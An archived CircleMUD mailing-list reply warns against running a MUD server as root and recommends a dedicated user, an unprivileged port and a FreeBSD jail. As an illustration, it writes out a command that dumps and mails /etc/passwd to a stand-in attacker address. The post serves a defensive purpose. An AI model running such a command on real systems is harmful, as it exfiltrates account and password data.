On Fri, 8 Sep 2000, Emil Nilimaa wrote:
> I can access root if i like, the server is my own.
Running services as root is (imo) a very bad idea, Buffer Overflow and
other funny things is a very bad idea,
> Would be annoying to have to setuid each time you boot
> the mud...
Start the script as root, if you must, and you're there. Running on a
FreeBSD system you could do a start_mud.sh script in /usr/local/etc/rc.d
like so
---
#!bin/sh
echo -n ' CircleMUD'
path/to/autorrun.sh
--- End Snip ---
On Linux and alike, you simply put the command into /etc/rc.d/rc.local
In the autorun you simply change the port to 23 and wolla! You're
there. As the Sysadm in me creeps up on me, I'm wondering about some
things,
why on earth would you wish to bind to a Privileged port? Mud is a
non-privileged service (imo) and does not need any special
access. Preferably the mud is run chrooted/sandboxed as it's own user and
that's about it. If anyone manages to have your mud buffer overflowed so
they can access a shell, the worst they can do is get the access the
mud-user has, this means they can't access password files (other than the
mud's own which is irellevant), they can't change any vital files like
login or bash/sh.
If you *MUST* then have the mud start as root, and then quickly switch to
another "non-priv" user, like apache does. Starts up as root, but then
quickly becomes nobod. Imho this is something I'd try to avoid, and
instead simply have a specific user run the mud. This in turn means that
you cannot have it occupy any Privileged ports (< 1024). This again means
that some users cannot access the mud, because their firewall blocks
it, to solve that try using a non-privileged port like 8080, this is
a standard port for Web-Proxies, and some firewalls don't block this.
Imho, firewalls is not the mud-admin's concern (other than the one sitting
in front of the mud), but of the players, and Several Java-Clients are out
there to help them play on a mud from a java-client :).
While I'm on the ranting side :), a mud should imho not be able to grab
onto system files. I've seen muds offer "ps -axu" and return the
information to the user, even muds that offer the ability to execute
arbitrary commands on the server. Imagine the following in conjunciton
with a mud that runs as root (and offers the above arbitrary)
Mr. Evilguy hacks the admins passwords (grabs it or however Evilguys get
it :), and does a
"execute pwunconv && mail evilguy@foo.bar < /etc/passwd && pwconv"
Voila.. mr evilguy now has a complete listing of usernames and passwords.
So, have anyone tried to sandbox a mud? I've done a bit of experimenting,
best thing I've come up with so far is the jail code in FreeBSD and set of
a complete jail for a mud alone, that way, no other services are affected
should someone hack the mud-jail, and "clean-up" is pretty easy to do.
just my 2 cents or how much that is :)
/S
Sir Alec Guinness
- May the force be with you, Always!
+------------------------------------------------------------+
| Ensure that you have read the CircleMUD Mailing List FAQ: |
| http://qsilver.queensu.ca/~fletchra/Circle/list-faq.html |
+------------------------------------------------------------+
This archive was generated by hypermail 2b30 : 04/11/01 PDT